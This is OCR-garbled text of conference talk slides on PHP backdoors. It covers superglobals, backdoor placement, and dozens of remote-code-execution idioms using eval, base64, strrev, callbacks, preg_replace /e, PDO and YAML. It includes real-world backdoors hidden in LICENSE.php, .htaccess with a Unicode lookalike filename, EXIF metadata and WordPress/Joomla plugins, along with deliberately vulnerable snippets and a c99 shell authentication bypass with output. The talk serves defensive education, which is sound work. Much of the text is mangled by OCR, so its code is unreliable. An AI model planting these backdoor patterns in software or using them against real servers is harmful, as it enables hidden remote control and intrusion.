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- Intro
- backdoor placement
- howto execute code

- real world examples

- vulnerabilities
- hack a backdoor
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PHP superglobals

-$_GET
'$_POST
-$_COOKIE
-$_REQUEST
-$_SERVER
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/superglobal.php?foo=1&bar=2 |

POST /superglobal.php?foo=1&bar=2 HTTP/1.0
Content-length: 391

Cookie: bar=4;

foo=3
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http://172.16.34.141/superglobal.php?foo=1&bar=2
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:
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/superglobal.php?foo=1&bar=2

var dump($ GET) array(2) {
[llfooll]=>
[llbarll]=>

}
var dump($ POST) array(l) {

["fOO" ]=>

}
var dump($ COOKIE) array(l) ({

[ llbarll ]=>



http://172.16.34.141/superglobal.php?foo=1&bar=2

in red we can see what $ REQUEST

/superglobal.php?foo=1&bar=2

var dump($ GET) array(2) {
[=iEoosd =" st n gl
["bar"]=> string(l) "2"

}

var dump($ POST) array(l) {
["foo"]=> string(l) "3°

}
var dump($ COOKIE) array(l) ({

[=bariN]==2e 2 st mungiCled

var_dump($_REQUEST); |
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http://172.16.34.141/superglobal.php?foo=1&bar=2
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/superglobal.php?foo=1&bar=2

"GET /superglobal.php?foo=1&bar=
HTTP/1.1" 200 391

"POST /superglobal.php?foo=1&bar=
HTTP/1.1" 200 391
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http://172.16.34.141/superglobal.php?foo=1&bar=2

var dump($ S

headers:
foo=3

/superglobal.php

ERVER)

array(x) {

[ "HTTP HOST" ]=>
string.El 30ee S 152 16 3 o] v

[ "HTTP_ CONNECTION" ]=>
string(10) "keep-alive"

[ "CONTENT LENGTH" ]=>
sErangE)tahs

[ "HTTP FOO" ]=>
stringEl)ecys:



http://172.16.34.141/superglobal.php?foo=1&bar=2
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/superglobal.php

"GET /superglobal.php?
foo=1&bar=

HTTP/1.1" 200 391
"POST /superglobal.php
HTTP/1.1" 200 760



http://172.16.34.141/superglobal.php?foo=1&bar=2
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backdoor placement

- requirements:
- folder owned by www-data

- file owned by www-data
- folder/file chmod 777
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- requirements:
- folder owned by v

- file owned by wwy '

- folder/file chmod =




backdoor placement

- configuration.php
- themes/$theme/$file
- upload/$file

es almost everywhere writable by
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howto execute code (HEC)

- exec
- shell_exec
- passthru

- popen

- pentl

- create function
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eval ($x);

eval (base64 decode($x));
eval (gzinflate(base64 decode($x)));

Sy=-base . (32*2) . :de: sicedes;

eval ( $Y( $ Z ) ) ’ where $x = $_GET[X




SX=str replace(+xX ,- S ;
‘xyxtem' ) ;$X($S_GET[X]);

Sx='syste'.chr(

sx=strrev('"cexe llehs");
$SX($S GET[x]);

red block means URI used, like http://
foo.com/page.php?x=ls
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http://foo.com/page.php?x=ls

assert($ GET[x]);

S_GET[y]1(S_GET[x]);




| 7y system&x—ls
cailll “liser: FUTE array($ GET[y],
array($ GET[x]));

fileer var (S REOUEST S
PFILTER CALLBACK, arrayi(-optiels:
'assert'));

_?x=phpinfo() _
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R e e ERCS e e
 ?x=Is&y=preg_replace |

1) 7

Sa = array($ GET[x] 'l.x]e
array walk(Sarr, $ REQUEST[y],

preg replace("/.*/e",$ GET[X],

s egirepilace
(*.*=', S REOUESTI®],  '7 &1 .




Se = $ REQUEST[y];

register tick function($Se, $ GET[X]);

register shutdown function($e,
>_GET[x]);
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Se = $ REQUEST[y],
Sdb = new PDO('sglite:sglite.db3');

Sdb->sgliteCreateFunction('z', Se,
1);

Ssth = Sdb->prepare("SELECT
z(:exec)");
Ssth->execute(array( ' :exec’
$_REQUEST[X]));
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Smem = new Memcache(),
Sre = @$Smem->addServer (' localhost',

2 e RIE: 1 0:0: = 0 dn s e SR B
create function('$a,S$b, $c,$d,Se’,
“return assert(Sa); )):
smem->connect (S REQUEST[x], 11211,
0);
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$str = urlencode($ REQUEST[X]);
Syaml = <<<EOD

greeting: !{S$str} "|.+|e"

EOD;

Sparsed = yaml parse(Syaml, O,
drray (ST REGUEST i ==
'preg replace'));
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<?php

Sexg="JG]

YSk9PSd

siff) G

vKsSIGFy

Sts = s

Sfy="sI(

KTt 'Y nd

Ssjb="pe 02ndVv2yY
WwoYmE z Z nd ,

Sdzy = Sts p erodere" ) ;
Smc = Sts("

O.5fy)));
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7password—|s&repassword
array diff ukey(

array (

(string)$ GET[ 'password']=>1),
= Ay

(string)

$ GET[ 'repassword'])=
$_REQUEST['login']) ot s s

— T T
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?password=Is&re paswod
w _&login=system

8 00 ' 1172.16.34.145/array_uk:

C (7 172.16.34.145/array ukey diff/array _ukey diff.php?

array_ukey_diff.php index.html

"GET /array_ukey_diff/array_ukey diff.php?
password=Is&repassword=&login=system
HTTP/1.1" 200 253
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real world: $ SERVER

(Sa=@S$S SERVER[ HTTP REMOTE ADR'])
.@5a(S SERVER[ HTTP SERVER ADR ]):;

(Sa=@system).Sa(ls)
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© OO / [Y172.16.34.145/a/a.php

\ C |7 172.16.34.145/a/a.php

a.php index.html

"GET /a/a.php

HTTP/1.1" 200 239"
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dextract ($ REQUEST);
ddie ($x($y)):
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® 00 - 1172.16.34.145 /extract/e: X

C' [ 172.16.34.145/extract/extract.php?x=shell_exec&y=ls

extract.php index.html

"GET /extract/extract.php?
x=shell_exec&y=lIs

HTTP/1.1" 200 244"
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real world: LICESNE.php

preg match all('/.*/',

php strip whitespace( FILE ),
Smatches) ;

eval (base64 decode($Smatches[0]
[2]) )3

/* BEGIN LICENSE CODE */
cGhwaWbmbygp




real world: LICESNE php ]

phpinfo()

] 172.16.34.146/licesne/LICESNE.php

PHP Version 5.5.9-1ubuntu4
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real world: .htaccess

S pwd
/var/www/uploads
S cat .htaccess
AddType application/x-httpd-php .png
<Ei1les's-c.png: >

SetHandler application/x-httpd-php
</Files>
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phpinfo()

C' |} 172.16.34.146/htaccess/c.png |

PHP Version 5.5.9-1ubuntu4

— -
B




real world: .htaccess

| phpinfo() X ] a.png (800x600)

C' [ 172.16.34.146/htaccess/a.png ¢ Y 172.16.34.146/htaccess/a.png

| i
' 0

| i
PHP Version 5.5.9-ubuntu4 ]

same url leads to different results?!
wait, at the left there's phpinfo() !




real world: .htaccess

Unicode number:
HTML-code: | 8:
Block: Cyrillic

Upper: P (U+0420)

AddType application/x-httpd-php
.png
‘m"
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real world: .htaccess

root@ubuntubd: /var/ww/html/htaccess# s -1

total 188
-rw-r—r—=— 1 root root 183960 Oct 9 17:10 a.png

-w-r—r-— 1 root root 20 Oct 9 12:29 a.?77ng
-rw-r—r— 1 root root 20 Oct 9 13:04 c.png

"GET /htaccess/a.%D1%80ng
HTTP/1.1" 200 18105"

"G ET / h tacce S S / al p n g my workstation doesn't handle unicode,

log analysis system should

HTTP/1.1" 200 184249"
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real world: exif data

MIMEType image/jpeg

& ExifTool file metadata

YResolution 96

BitsPerSample 8

ImageSize 155x77

FileType JPEG
ResolutionUnit inches
ColorComponents 3

JFIFVersion 1.01

ExifByteOrder Little-endian (Intel, Il)
XResolution 96

ImageWidth 155
EncodingProcess Baseline DCT, Huffman coding

Model eval(base64_decode('aWYgKGlzc2VOKCRIUESTVFsienox|l0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF
9QT1NUWYyJ6ejEiXSkpO30="));

Make /e
YCbCrSubSampling YCbCr4:2:0 (2 2)

ImageHeight 77
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PHP's exif read data function

PHP has a function called
exif_read_data which allows it to
read the header data of image files.
It is used extensivly in many
different plugins and tools.
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http://php.net/manual/en/function.exif-read-data.php
https://github.com/search?q=exif_read_data%28&ref=cmdform&type=Code

real world: exif_data
Sexif = exif read data('http://
foo.bar/image. jpg);
preg replace(Sexif[ Make' ],

sexif[ 'Model'], Canon');

"Make"]=>|
string(5) "/.*/e"|
["Model"]=>|
string(108)|
eval(base64 decode( aWYgKG )),"

|




real world: wp plugin

<?php
function start cforms session(){
@session_cache limiter('private, must-
revalidate');
@session cache expire(0);
Sforml=@$ COOKIE[ 'Kcqgf3'];
if (Sforml) {
sopt=$forml (@$ COOKIE[ 'Kcgf2']);
sau=S$forml (@S COOKIE[ 'Kcqgfl']);
Sopt=("/292/e",$au,292); die();




real world: joomla plugin

public function __ construct() {
Sfilter = JRequest::getString('p3', Null, 'cookie');
(Sfilter) {
Soption = Sfilter (JRequest::getString('p2', Null,

'cookie'));

Sauth = S$filter (JRequest::getString('pl’', Null, 'cookie'));
Soption("/123/e",Sauth, ) ;

die();




vuilns: isadmin
//Authentication

Suser = safeEscape($ POST[ 'user']);

Spass = safeCrypt(safeEscape($ POST[ 'pass']));
Squery = "SELECT isadmin FROM user where user=
Suser and pass=$pass";

Sisadmin = mysql query(Squery);

@extract (S _REQUEST[ 'login']);

if (Sisadmin) {
admin () ;

pseudo function, let's pretend
safeEscape and safeCrypt are really
safe
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Keep Calm
& Welcome

Your New
ADMIN
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http://foo.bar/login.php?login%5B

vulns: sqli prevention

Scheck = intval($ GET[‘1d']);
1f (Scheck == $§ GET[ 1d ]) {
Squery = "SELECT name FROM table

where i1d=$ GET[‘id']";
Sresult = mysql query(S$query);
var dump(Sresult);

}

-
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vulns: name

Squery = "SELECT name FROM user where
user=Suser and pass=Spass';
Sname = mysql query($Squery);

SsafeName = @preg replace("/\W*/e",Sname,'');
echo "Welcome, <pre>$safe name"</pre>";




vulns: name

\ C | [ localhost/welcome.php?c=whoami

Welcome, www-data

name =>|
system($_GET[c]);|

T s W http:/ /foo.bar/ j‘
~ welcome.php?c=whoami|
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http://foo.bar/login.php?login%5B

vulns: conf.php

<?php

Ssmtp host 327,001
Ssmtp user i

Ssmtp pass
Ssmtp from = 'root@localhost'; //sender
Ssmtp method = 'system'; //system or smtp
Ssmtp crypt = 'NONE'; //NONE SSL STARTTLS

pretend a CMS uses a conf like this, we
add a "cuscom" $smtp_method

- /“
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vulns: conf.php

global $Ssmtp host,$smtp user,$Ssmtp pass;

global Ssmtp from, $smtp method,Ssmtp crypt;
require conf.php ;

doCron () ;
Ssmtp method($ GET[ mailto']);

|

http:/ /foo.bar/cron.ph

—_—

= — —a——a—

PP I~ |1 Il -~ N e e s allnNERT D
PIRIP welo [0acikaloor @piuscation - QUIY@EST 21k



http://foo.bar/cron.php?mailto=ls

more vuilns

-imagecreatefromjpeg

'gd £ o
-unserialize - 0 ‘a
-php object injection %

=

4
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will you attend to V2.0 talk? :)
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hack backdoor: ¢c99

//Authentication
$login = "1"; //login
[cut]

@extract ($ _REQUEST[ "c99shcook"]);

[cut]

if ($login) {

if (empty($Smd5 pass)) {$md5 pass = md5(S$pass);}

if (($_SERVER["PHP AUTH USER"] != $login ) or (md5($ SERVER["PHP AUTH PW"]) !=
smd5 pass)) {

if ($<?php
Scheck = intval($ GET['id']);
if (S$check == § GET['id']) {
Squery = "SELECT name FROM table where id=$ GET[ 'id']";
Sresult = mysql query(Squery);
var dump(S$result);
}
?> === false) {$login txt = "";}
elseif (empty($login txt)) {Slogin txt = strip tags(ereg replace("&nbsp; |<br>","
",S$donated html));}
header ("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login txt."\"");
header ("HTTP/1.0 401 Unauthorized");
exit (Saccessdeniedmess);

}

}
.
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hack backdoor: ¢c99

https://127.0.0.1/c99.php?
c99shcook[login]=0
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https://127.0.0.1/c99.php?c99shcook%5B

hack backd

E— ncool \Om -
+C99Shell v. 1.0 beta (21.05.2005):

Software: Apache/2.2.22 (Deblan). PHP/5.4.4-14 4deb7uld
| uname ~a: Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.60-14+deb7u3 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Safe-mode:
[var/www/ drwxrxr-x
Free 12.99 GB of 15.06 GB (86.26%)

R R R R YN B W Encoder Bind Proc. FTPbrute Sec. SQL PHP-code Feedback Self remove Logout

Owned by hacker

Listing directory (2 files and 0 directories):

Size Modify Owner/Group
LINK 01.10.2014 16:11:01 root/root
LINK 25.08.2014 16:24:12 root/root

€99.php 149.67 KB 01.10.2014 16:11:31 root/root

index.htmi 177 8 25.08.2014 16:24:36

|| Bwate

11 Search 1 11 Upload 1

| o -regcxp ST vo e selected.

11 Make Dir 1z 11 Make File 1
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credits

SULGII

Protect your interwebs

- lazy webmaster/developer
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question?
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